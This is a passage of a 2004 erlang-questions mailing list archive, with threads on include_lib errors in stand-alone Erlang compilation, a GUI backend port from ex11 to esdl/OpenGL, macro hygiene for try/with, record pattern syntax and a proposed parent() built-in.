megaco_ber_bin_media_gateway_control_v2.hrl > megaco_ber_media_gateway_control_v1.hrl > megaco_ber_media_gateway_control_v2.hrl > megaco_per_bin_drv_media_gateway_control_v1.hrl > megaco_per_bin_drv_media_gateway_control_v2.hrl > megaco_per_bin_media_gateway_control_v1.hrl > megaco_per_bin_media_gateway_control_v2.hrl > megaco_per_media_gateway_control_v1.hrl > megaco_per_media_gateway_control_v2.hrl > > i found that the dependencies seemed to rely little on the OTP library. > I then thought about simply stripping (deleting...) the non used OTP > modules (applications) from the compiled Erlang distribution. But > something tells me it's not a good idea... > > Thanks, > > G > > From vlad_dumitrescu@REDACTED Fri Aug 27 09:55:18 2004 From: vlad_dumitrescu@REDACTED (Vlad Dumitrescu) Date: Fri, 27 Aug 2004 09:55:18 +0200 Subject: ex11, esdl References: Message-ID: Hi Eric, I was once (seems so long ago) thinking about the same thing. My conclusion was that at the current stage ex11 is, it wouldn't be very difficult. What needs to be done is in fact implement a X server that uses SDL to talk to the system. This means that if ex11 is going to evolve and use more advanced X features, then the server's implementation will have to follow, which is no easy thing. SDL has another issue, that restricts its use: one can't have more than one OS window from the same instance. So there won't be a nice desktop integration... (and no running wings at the same time either :-) Also esdl doesn't yet support SDL_ttf, which would improve greatly the looks. Aside, I think that for any new graphics system to succeed it needs firstly to be able to run gs applications, i.e. one has to write a gs translation layer. Otherwise I don't think people will start using it very quickly. After all, probably over 95% of Erlang's use today doesn't need any graphics. /Vlad ----- Original Message ----- From: "Eric Merritt" To: Sent: Wednesday, August 25, 2004 6:46 PM Subject: ex11, esdl > Hello all, > > I have embarked on a project to port the backend of ex11 to esdl > instead of x11. I am of the opinion that this would give me a nice > crossplatform gui package for erlang. If anyone else is interested > let me know. If I get one or more people interested in helping, I > will put the source out somewhere like sourceforge (at least once I > find out what the license to ex11 is ;) > > Thanks, > Eric > From bjorn@REDACTED Fri Aug 27 12:21:51 2004 From: bjorn@REDACTED (Bjorn Gustavsson) Date: 27 Aug 2004 12:21:51 +0200 Subject: SAE problems In-Reply-To: <37FB7AA6F5F9814FB634A7BF4C35A6F5402818@ESEALNT442.al.sw.ericsson.se> References: <37FB7AA6F5F9814FB634A7BF4C35A6F5402818@ESEALNT442.al.sw.ericsson.se> Message-ID: Your conjecture is correct. I am no friend of -include_lib and would have preferred that it had never been added. Too late to do anything about it now. -include_lib was one of the major problem we encountered when we tried to make SAE a supported part of OTP. I don't recommend using SAE. It is no guarantee that it will work at all in R10B, although the code for SAE is still there in the current R10B snapshot. It is completely untested. Re: stripping down Erlang/OTP. The installer for the Wings 3D application is about 2.2 Mb for Windows and Linux; slightly more for Mac OS X version. Included in that size is the Erlang emulator, most of kernel and stdlib, plus the Wings application itself and SDL and ESDL. The scripts that build the binary packages for Mac OS X, Unix, and Windows are included in the source release of Wings 3D. It can be found at http://www.wings3d.com Obviously, to package another application, you'll have to alter the scripts, but it should be a good starting point. /Bjorn "Ulf Wiger (AL/EAB)" writes: > I don't know exactly how ecc is built, but on my machine, > it works with erlc, but not with ecc. > > The ecc compiler uses stand-alone erlang, which is built > using only (basically) erts, kernel & stdlib. The include_lib > directive assumes that the application refered to is in the > path. As erlc starts a normal erlang VM, it is able to find > all standard erlang applications, including megaco. > > All this is conjecture (well, after peeking at ecc.erl et al.) > The gurus at the OTP team may step in and correct me. > > Solution to the problem: don't use -include_lib for megaco, > but instead -include("megaco.hrl"), and then pass on a -I > option to ecc. > > > /Uffe > > > -----Original Message----- > > From: owner-erlang-questions@REDACTED > > [mailto:owner-erlang-questions@REDACTED]On Behalf Of Guillermo > > Fernandez Castellanos > > Sent: den 26 augusti 2004 04:43 > > To: erlang-questions@REDACTED > > Subject: Problem executing a program > > > > > > Hi, > > > > I have been trying to test very easy programs with Erlang. > > I have made a standard installation of Erlang (configure > > --prefix=/home/myhome; make; make install) after reading the README > > > > When I try to execute this program: > > > > -module(hello). > > > > -export([start/1]). > > > > -include_lib("kernel/include/file.hrl"). > > %%**HERE** > > > > start(Args) -> > > io:format("Hello world~nArgs=~p~n", [Args]), > > erlang:halt(). > > > > $ ecc test.erl > > works just well. > > > > But when I add in %%**HERE** the line: > > -include_lib("megaco/include/megaco.hrl"). > > it just do not work anymore: > > $ecc test.erl > > ./test.erl:6: can't find include lib "megaco/include/megaco.hrl" > > > > Actually I obtain the same message while trying to compile > > ~/lib/erlang/lib/megaco-2.1.3/examples/simple/megaco_simple_mgc.erl > > > > $ecc megaco_simple_mgc.erl > > ./megaco_simple_mgc.erl:52: can't find include lib > > "megaco/include/megaco.hrl" > > ./megaco_simple_mgc.erl:53: can't find include lib > > "megaco/include/megaco_message_v1.hrl" > > ./megaco_simple_mgc.erl:120: undefined macro 'megaco_ip_port_text' > > ./megaco_simple_mgc.erl:134: record megaco_receive_handle undefined > > ./megaco_simple_mgc.erl:283: undefined macro 'megaco_not_implemented' > > ./megaco_simple_mgc.erl:312: undefined macro > > 'megaco_root_termination_id' > > ./megaco_simple_mgc.erl:334: undefined macro 'megaco_not_implemented' > > ./megaco_simple_mgc.erl:76: function do_start/1 undefined > > ./megaco_simple_mgc.erl:39: function > > handle_trans_long_request/3 undefined > > ./megaco_simple_mgc.erl:39: function handle_trans_request/3 undefined > > > > Where come this error from? I could not find any reference > > while googling... > > > > Any link, hint would be most wellcome. > > > > Thanks! > > > > G > > > > > -- Bj?rn Gustavsson, Erlang/OTP, Ericsson AB From keymon@REDACTED Fri Aug 27 14:21:01 2004 From: keymon@REDACTED (Hector Rivas Gandara) Date: Fri, 27 Aug 2004 14:21:01 +0200 Subject: Fresh variable names in Erlang Message-ID: <412F272D.5050304@wanadoo.es> Hi, I'm trying to define some macros to simulate the "try ... with ..." syntax of caml. I wrote this macros: -define(TRY, case catch). -define(WITH, of). -define(END_TRY, ; Finally -> Finally end). and it works with: ?TRY begin Y = X, Y = 1 end ?WITH {'EXIT', R} -> {catched, R} ?END_TRY. but if you write more TRY_WITH in the same function: ?TRY begin Y = X, Y = 1, ?TRY throw(hello) ?WITH hola -> {catched, hello} ?END_TRY end ?WITH {'EXIT', R} -> {catched, R} ?END_TRY. I get "variable 'Finally' unsafe in 'catch'" error (The Finally variable is used in two pattern matching). So, I need a fresh variable name. I've tryed this hack: -define(END_TRY, ; Finally?LINE -> Finally?LINE end). but ?LINE expands to " 25" (it adds a space). -- Thank you Greets From tobbe@REDACTED Fri Aug 27 15:31:31 2004 From: tobbe@REDACTED (Torbjorn Tornkvist) Date: Fri, 27 Aug 2004 15:31:31 +0200 Subject: Fresh variable names in Erlang In-Reply-To: <412F272D.5050304@wanadoo.es> References: <412F272D.5050304@wanadoo.es> Message-ID: <412F37B3.90203@nortelnetworks.com> Check out the xxx-macros package at the User Contrib area. It might still work... Cheers, Tobbe Hector Rivas Gandara wrote: > Hi, > I'm trying to define some macros to simulate the "try ... with ..." > syntax of caml. > I wrote this macros: > > -define(TRY, case catch). > -define(WITH, of). > -define(END_TRY, ; Finally -> Finally end). > > and it works with: > > ?TRY begin > Y = X, > Y = 1 > end > ?WITH > {'EXIT', R} -> {catched, R} > ?END_TRY. > > but if you write more TRY_WITH in the same function: > > ?TRY begin > Y = X, > Y = 1, > ?TRY > throw(hello) > ?WITH > hola -> {catched, hello} > ?END_TRY > end > ?WITH > {'EXIT', R} -> {catched, R} > ?END_TRY. > > I get "variable 'Finally' unsafe in 'catch'" error (The Finally variable > is used in two pattern matching). > > So, I need a fresh variable name. > > I've tryed this hack: > > -define(END_TRY, ; Finally?LINE -> Finally?LINE end). > > but ?LINE expands to " 25" (it adds a space). > > -- > Thank you > Greets > > From cyberlync@REDACTED Fri Aug 27 15:56:11 2004 From: cyberlync@REDACTED (Eric Merritt) Date: Fri, 27 Aug 2004 09:56:11 -0400 Subject: ex11, esdl In-Reply-To: References: Message-ID: On Fri, 27 Aug 2004 09:55:18 +0200, Vlad Dumitrescu wrote: > I was once (seems so long ago) thinking about the same thing. My conclusion was > that at the current stage ex11 is, it wouldn't be very difficult. Your right! I have been working on it the last couple of days. > What needs to > be done is in fact implement a X server that uses SDL to talk to the system. > This means that if ex11 is going to evolve and use more advanced X features, > then the server's implementation will have to follow, which is no easy thing. Actually, I have gone a different route. Ex11 makes use of allot of x11 specific functionality, so the only real way to port directly is to do what you say, make a 'x11 server' that uses SDL for its drawing. I decided to go a different route, which is to take all of Joes great functionality and port it over to using gl/sdl directly. This basically means large amount of rewriting, but no changes in core design. Unfortunatly, this means that the backend is a complete rewrite (along ex11 functionality) and all the widgets have to be touched (I hope to minimize that quite a bit). > SDL has another issue, that restricts its use: one can't have more than one OS > window from the same instance. So there won't be a nice desktop integration... > (and no running wings at the same time either :-) Also esdl doesn't yet support > SDL_ttf, which would improve greatly the looks. Actually, with imput from Dan and Karl I am making use of a gl specific backend that they are working on for wings. It doesn't yet have multiple windows, but thats a future item they want. Better yet it should be more stable and robust then the SDL engine. > Aside, I think that for any new graphics system to succeed it needs firstly to > be able to run gs applications, i.e. one has to write a gs translation layer. > Otherwise I don't think people will start using it very quickly. After all, > probably over 95% of Erlang's use today doesn't need any graphics. I will cross that bridge when I come to it. My main goal right now is to get something together for my own use, and maybe as an alternative front end for erlide. After that I will worry about larger acceptance. > /Vlad > > > > ----- Original Message ----- > From: "Eric Merritt" > To: > Sent: Wednesday, August 25, 2004 6:46 PM > Subject: ex11, esdl > > > Hello all, > > > > I have embarked on a project to port the backend of ex11 to esdl > > instead of x11. I am of the opinion that this would give me a nice > > crossplatform gui package for erlang. If anyone else is interested > > let me know. If I get one or more people interested in helping, I > > will put the source out somewhere like sourceforge (at least once I > > find out what the license to ex11 is ;) > > > > Thanks, > > Eric > > > -- I'm a programmer, I don't have to spell correctly; I just have to spell consistently From vlad_dumitrescu@REDACTED Fri Aug 27 16:06:03 2004 From: vlad_dumitrescu@REDACTED (Vlad Dumitrescu) Date: Fri, 27 Aug 2004 16:06:03 +0200 Subject: ex11, esdl References: Message-ID: From: "Eric Merritt" > Actually, with imput from Dan and Karl I am making use of a gl > specific backend that they are working on for wings. It doesn't yet > have multiple windows, but thats a future item they want. Better yet > it should be more stable and robust then the SDL engine. Hmm, that sounds interesting! And it's platform independent too? After answering your previous mail, I started to look at adding SDL_ttf support to esdl, which doesn't seem too difficult, thanks to the nice design that Dan made. Now I don't know if it's going to be worth it, is something else is coming reasonably soon. Could Dan or anyone comment? Can this new backend be made available? /Vlad From keymon@REDACTED Fri Aug 27 17:32:13 2004 From: keymon@REDACTED (=?iso-8859-1?q?H=E9ctor_Rivas_G=E1ndara?=) Date: Fri, 27 Aug 2004 17:32:13 +0200 Subject: Fresh variable names in Erlang In-Reply-To: <412F37B3.90203@nortelnetworks.com> References: <412F272D.5050304@wanadoo.es> <412F37B3.90203@nortelnetworks.com> Message-ID: <200408271732.14087.keymon@wanadoo.es> El Viernes, 27 de Agosto de 2004 15:31, escribi?: > Check out the xxx-macros package at the User Contrib area. > It might still work... yeah, it works! -compile({parse_transform,xx}). -define(TRY, begin case catch). -define(WITH, of). -define(END_TRY, ; xxVAR1 -> xxVAR1 end end). Thank you -- Greets From Johan.Blom@REDACTED Sat Aug 28 16:45:08 2004 From: Johan.Blom@REDACTED (Johan Blom) Date: Sat, 28 Aug 2004 16:45:08 +0200 Subject: ANN: xmerl-0.20 Message-ID: <41309A74.3030007@mobilearts.se> Hi, News in this release mainly includes (lots of) work to improve the parsers compatibility with the W3C standard (by Bertil Karlsson and myself). Also xmerl now requires ucs. Both ucs and xmerl is available from http://sowap.sourceforge.net/ Enjoy! Johan Blom Mobile Arts From vances@REDACTED Mon Aug 30 10:39:53 2004 From: vances@REDACTED (Vance Shipley) Date: Mon, 30 Aug 2004 04:39:53 -0400 Subject: Erlang support in Apple's XCode IDE Message-ID: <20040830083953.GD21613@frogman.motivity.ca> Bjorn, For some reason I missed your response. My manual spam filtering with the 'D' key sometimes hits the innocent. :) Yes, my work was done on the hot off the presses Xcode v1.5. I see that I made an error in that post as well. The file extension was wrong in this line: } Specifications/Erlang Language Specification.pbfilespec: It should have been: Specifications/Erlang Language Specification.pblangspec Hopefully that will show up for future googlers. :) -Vance On 18 Aug 2004 Bjorn Gustavsson wrote: } } Have you tried the new XCode 1.5 that was released recently? } } I have tried it myself, but if you are lucky some bugs might have } been fixed. } } /Bjorn From dgud@REDACTED Mon Aug 30 11:15:14 2004 From: dgud@REDACTED (Dan Gudmundsson) Date: Mon, 30 Aug 2004 11:15:14 +0200 Subject: ex11, esdl In-Reply-To: References: Message-ID: <16690.61474.909146.972872@rian.du.uab.ericsson.se> Vlad Dumitrescu writes: > > Hmm, that sounds interesting! And it's platform independent too? Yes. > After answering your previous mail, I started to look at adding SDL_ttf > support to esdl, which doesn't seem too difficult, thanks to the nice design > that Dan made. Now I don't know if it's going to be worth it, is something > else is coming reasonably soon. > > Could Dan or anyone comment? Can this new backend be made available? Sure, it will be available when it's done, but we have just started, (or rather Karl have started I'm just writing emails) basicly we will trash SDL and only use opengl for gfx, with our own homebrewn eventmodel. But ttf support would be nice.. :-) /Dan From vlad_dumitrescu@REDACTED Mon Aug 30 11:22:54 2004 From: vlad_dumitrescu@REDACTED (Vlad Dumitrescu) Date: Mon, 30 Aug 2004 11:22:54 +0200 Subject: ex11, esdl References: <16690.61474.909146.972872@rian.du.uab.ericsson.se> Message-ID: From: "Dan Gudmundsson" > > Could Dan or anyone comment? Can this new backend be made available? > > Sure, it will be available when it's done, but we have just started, > (or rather Karl have started I'm just writing emails) basicly we > will trash SDL and only use opengl for gfx, with our own homebrewn > eventmodel. I think this is interesting, and I'd like to try to contribute if you need help. May I ask why isn't SDL good enough? Is it only that the new library is going to be more Erlang-oriented, or are there any other reasons? > But ttf support would be nice.. :-) Yes, it would, and from what I gathered it isn't difficult to do with SDL_ttf. I had some problems getting anything to work on Windows, but on Linux it seems straightforward. I'll tinker with it some more and let you know. regards, /Vlad From joe@REDACTED Mon Aug 30 11:28:04 2004 From: joe@REDACTED (Joe Armstrong) Date: Mon, 30 Aug 2004 11:28:04 +0200 (CEST) Subject: ex11, esdl In-Reply-To: References: Message-ID: Re: edsl ex11 etc. Just my 5 c. 1) I'm not sure I've published my latest ex11 - it has a *lot* of functionality which I'm not sure can be bolted on top of a different graphics engine. 2) Towards the end of my hacking ex11 I came to the realisation that I didn't want, or need, a complex set of underlying widgets, I could actually make do with a very small set of widgets, in fact I could do 98% of everything I ever wanted to do with one or two widgets, unfortunately these widgets aren't in GTK/QL/FLTK etc. :-) IMHO instead of writing a *general* graphics package which can do anything - I'd like to encourage the development of a small number of widgets which are easy to use and which has specific properties. There are basically 3 widgets I'd like to see, and I have been trying (without much success) to write them using gtk, fltk etc. so that they work on windows and linux. This is what they do: Widget 1) - text display widget Displays a fixed font matrix of characters The characters can have different foreground and background colors The API is something like: Win = mkBox("Courier", 12, 40, 80) (makes a 12 point courier font box 40 rows 80 columns putText(Win, FgC, BgC, X, Y, Str) (puts the text in "Str" at (X,Y) in colors (Fgc, Bgc)) register(Win, Pid) send messages to Pid if something happens in Win The messages are {Win, windowKilled} <- windows was resized {Win, {resized, Rows, Cols}} <- window was resized {Win, {mouse, X, Y}} <- mouse was clicked on X,Y {Win, iconised} <- window was iconised {Win, {keyboard,Event}} <- key presses, releases etc. map(Win) remap the window (after iconisation) I have implemented this in ex11 - using this widget I have implemented a filebrowser, a file selector, emacs. If you think about it the text widget can be used for a vast number of different things, here are some examples. editor - emacs (whatever) menu system process bars file selectors mc (midnight commander) ... It's also easy to use - the API has only a few simple and easily understandable calls. Wiget 2 - Canvas widget Like the text widget. You just need calls to create a canvas and to draw lines, arc, rectangles, points etc. within the canvas. Widget 3 - MDI widget (Multiple document Interface) This is just a container for the Canvas and Text Widget. Given these three widgets (which I have implemented in ex11) I can do 98% of everything I'd everything I'd ever wanted to do. I've tried to do this in GTK, FLTK etc. but this is complicated. Unfortunately the GTK/FLTK etc. text widgets are *high* complex and act as small word processors. They don't do the low-level things I want them to do - and they do a lot of high-level things that I don't want them to do. IMHO I think the functionality should be split along the lines that: a) A widget should just do low-level things (displaying text at absolute positions given fonts,colors, positions etc.) b) high level things (file selection logic, emacs functionality) etc should be done in Erlang outside the widget. The high and low level should communicate by a simple ad-hock protocol though a socket (or stdio) If somebody can make a portable text widget like my 1) above I can supply code to turn this into an emacs etc. << aside - IMHO GUI programming has become ridiculously complex - in the good ol' days I used the Borland Graphics Interface and programming using fixed width fonts in fixed size grids was *really* easy - now with all the "tool support" it has become far more difficult :-) >> /Joe On Fri, 27 Aug 2004, Vlad Dumitrescu wrote: > From: "Eric Merritt" >> Actually, with imput from Dan and Karl I am making use of a gl >> specific backend that they are working on for wings. It doesn't yet >> have multiple windows, but thats a future item they want. Better yet >> it should be more stable and robust then the SDL engine. > > Hmm, that sounds interesting! And it's platform independent too? > > After answering your previous mail, I started to look at adding SDL_ttf > support to esdl, which doesn't seem too difficult, thanks to the nice design > that Dan made. Now I don't know if it's going to be worth it, is something > else is coming reasonably soon. > > Could Dan or anyone comment? Can this new backend be made available? > > /Vlad > From dgud@REDACTED Mon Aug 30 11:37:17 2004 From: dgud@REDACTED (Dan Gudmundsson) Date: Mon, 30 Aug 2004 11:37:17 +0200 Subject: ex11, esdl In-Reply-To: References: <16690.61474.909146.972872@rian.du.uab.ericsson.se> Message-ID: <16690.62797.374870.73307@rian.du.uab.ericsson.se> Vlad Dumitrescu writes: > From: "Dan Gudmundsson" > > I think this is interesting, and I'd like to try to contribute if you need help. > > May I ask why isn't SDL good enough? Is it only that the new library is going to > be more Erlang-oriented, or are there any other reasons? Missing features for windowed apps, like maximize window, bugs that don't get fixed (on Mac mostly) and stuff like that. >> But ttf support would be nice.. :-) > > Yes, it would, and from what I gathered it isn't difficult to do with SDL_ttf. I > had some problems getting anything to work on Windows, but on Linux it seems > straightforward. I'll tinker with it some more and let you know. Give us some time to get something up and running first.. I'll send you an email later. /Dan From vlad_dumitrescu@REDACTED Mon Aug 30 12:10:48 2004 From: vlad_dumitrescu@REDACTED (Vlad Dumitrescu) Date: Mon, 30 Aug 2004 12:10:48 +0200 Subject: ex11, esdl References: Message-ID: From: "Joe Armstrong" > 2) Towards the end of my hacking ex11 I came to the realisation that > I didn't want, or need, a complex set of underlying widgets, > > I could actually make do with a very small set of widgets, in fact I > could do 98% of everything I ever wanted to do with one or two > widgets, unfortunately these widgets aren't in GTK/QL/FLTK etc. :-) Just a thought - the text display widget doen't really have to be graphical. It could be a (slightly enhanced) text console. ANSI codes are standardized to set colors, and move the cursor; there are packages to let the mouse be used. I actually tried it, and it kind of works. One problem is that under Unix there's the terminfo/termcap swamp where it's easy to get lost. The other is that the shell needs some adjustments. Nothing unsurpassable. Another way to implement this would be to use Emacs as backend. Talk about lightweight! :-) I looked into this too, and the big problem is the same as the big advantage: the weight and wealth of Emacs functionality... I think the reason this kind of widget isn't easily available is that it's not really graphical. When doing GUIs (in the traditional sense), it seems to be an unwritten requirement that one should be able to display multiple and variable-width fonts, and icons and other cool stuff. Which looks good but not always brings new functionality. -- Regarding the 3 simple widgets, I think it's a nice idea to open up the low-level layer and let the higher level build onto it. BTW, the third widget is in fact a window manager. regards, Vlad From vlad_dumitrescu@REDACTED Mon Aug 30 12:14:00 2004 From: vlad_dumitrescu@REDACTED (Vlad Dumitrescu) Date: Mon, 30 Aug 2004 12:14:00 +0200 Subject: ex11, esdl References: Message-ID: ----- Original Message ----- From: "Joe Armstrong" > 1) I'm not sure I've published my latest ex11 - it has a *lot* of > functionality which I'm not sure can be bolted on top of a different > graphics engine. Oh, another thing: wouldn't it be an interesting idea to apply the same pattern here as with the widgets? I mean, separate the low-level layer from the "hardware". I know it's not easy to rewrite a X server, but maybe someone in the future will have enough time and energy and passion :-) /Vlad From thomasl_erlang@REDACTED Mon Aug 30 17:10:37 2004 From: thomasl_erlang@REDACTED (Thomas Lindgren) Date: Mon, 30 Aug 2004 08:10:37 -0700 (PDT) Subject: parent() Message-ID: <20040830151037.47771.qmail@web41903.mail.yahoo.com> Given that it is fairly frequent to pass self() to a child process, let me propose that we instead extend the BIFs with parent() which returns the PID of my parent process. (If parent no longer exists, a "dead" PID may be used.) Best, Thomas __________________________________ Do you Yahoo!? Read only the mail you want - Yahoo! Mail SpamGuard. http://promotions.yahoo.com/new_mail From Waldemar.Rachwal@REDACTED Mon Aug 30 17:23:21 2004 From: Waldemar.Rachwal@REDACTED (Rachwal Waldemar-AWR001) Date: Mon, 30 Aug 2004 17:23:21 +0200 Subject: getting a whole record in a function call when only a field is be ing matched Message-ID: when compile the function as below the compiler raises 'illegal pattern'. fun(State#state{length=unknown}) -> State. Isn't it a valid construct, or it must be formulated other way? I have to move the == check to 'when' guard, then it compiles, but looks less nice, isn't it? fun(State) when State#state.length==unknown -> State. Thanks, Waldemar. From bengt.kleberg@REDACTED Mon Aug 30 17:31:17 2004 From: bengt.kleberg@REDACTED (Bengt Kleberg) Date: Mon, 30 Aug 2004 17:31:17 +0200 Subject: getting a whole record in a function call when only a field is be ing matched In-Reply-To: References: Message-ID: <41334845.4010206@ericsson.com> Rachwal Waldemar-AWR001 wrote: > when compile the function as below the compiler raises 'illegal pattern'. > > fun(State#state{length=unknown}) -> > State. > > Isn't it a valid construct, or it must be formulated other way? alternative formulation: fun(#state{length=unknown} = State) -> State. bengt From mlogan@REDACTED Mon Aug 30 17:45:19 2004 From: mlogan@REDACTED (Martin J. Logan) Date: 30 Aug 2004 10:45:19 -0500 Subject: parent() In-Reply-To: <20040830151037.47771.qmail@web41903.mail.yahoo.com> References: <20040830151037.47771.qmail@web41903.mail.yahoo.com> Message-ID: <1093880719.15816.54.camel@dhcp-lom-194-186.futuresource.com> Here here On Mon, 2004-08-30 at 10:10, Thomas Lindgren wrote: > Given that it is fairly frequent to pass self() to a > child process, let me propose that we instead extend > the BIFs with > > parent() > > which returns the PID of my parent process. (If parent > no longer exists, a "dead" PID may be used.) > > Best, > Thomas > > > > > __________________________________ > Do you Yahoo!? > Read only the mail you want - Yahoo! Mail SpamGuard. > http://promotions.yahoo.com/new_mail From tony@REDACTED Tue Aug 31 21:57:19 2004 From: tony@REDACTED (Tony Rogvall) Date: Tue, 31 Aug 2004 21:57:19 +0200 Subject: parent() In-Reply-To: <20040830151037.47771.qmail@web41903.mail.yahoo.com> Message-ID: m?ndagen den 30 augusti 2004 kl 17.10 skrev Thomas Lindgren: > > Given that it is fairly frequent to pass self() to a > child process, let me propose that we instead extend > the BIFs with > > parent() > The existing alternative is to use proc_lib then you can extract the parent by hd(get('$ancestors')). The parent() BIF is better since you can not cheat! Code example (when using proc_lib:spawn!): erlang:parent() -> case get('$ancestors') of [P|_] -> case process_info(P, status) of undefined -> dead; _ -> P end; _ -> exit(corrupt) end. Regards /Tony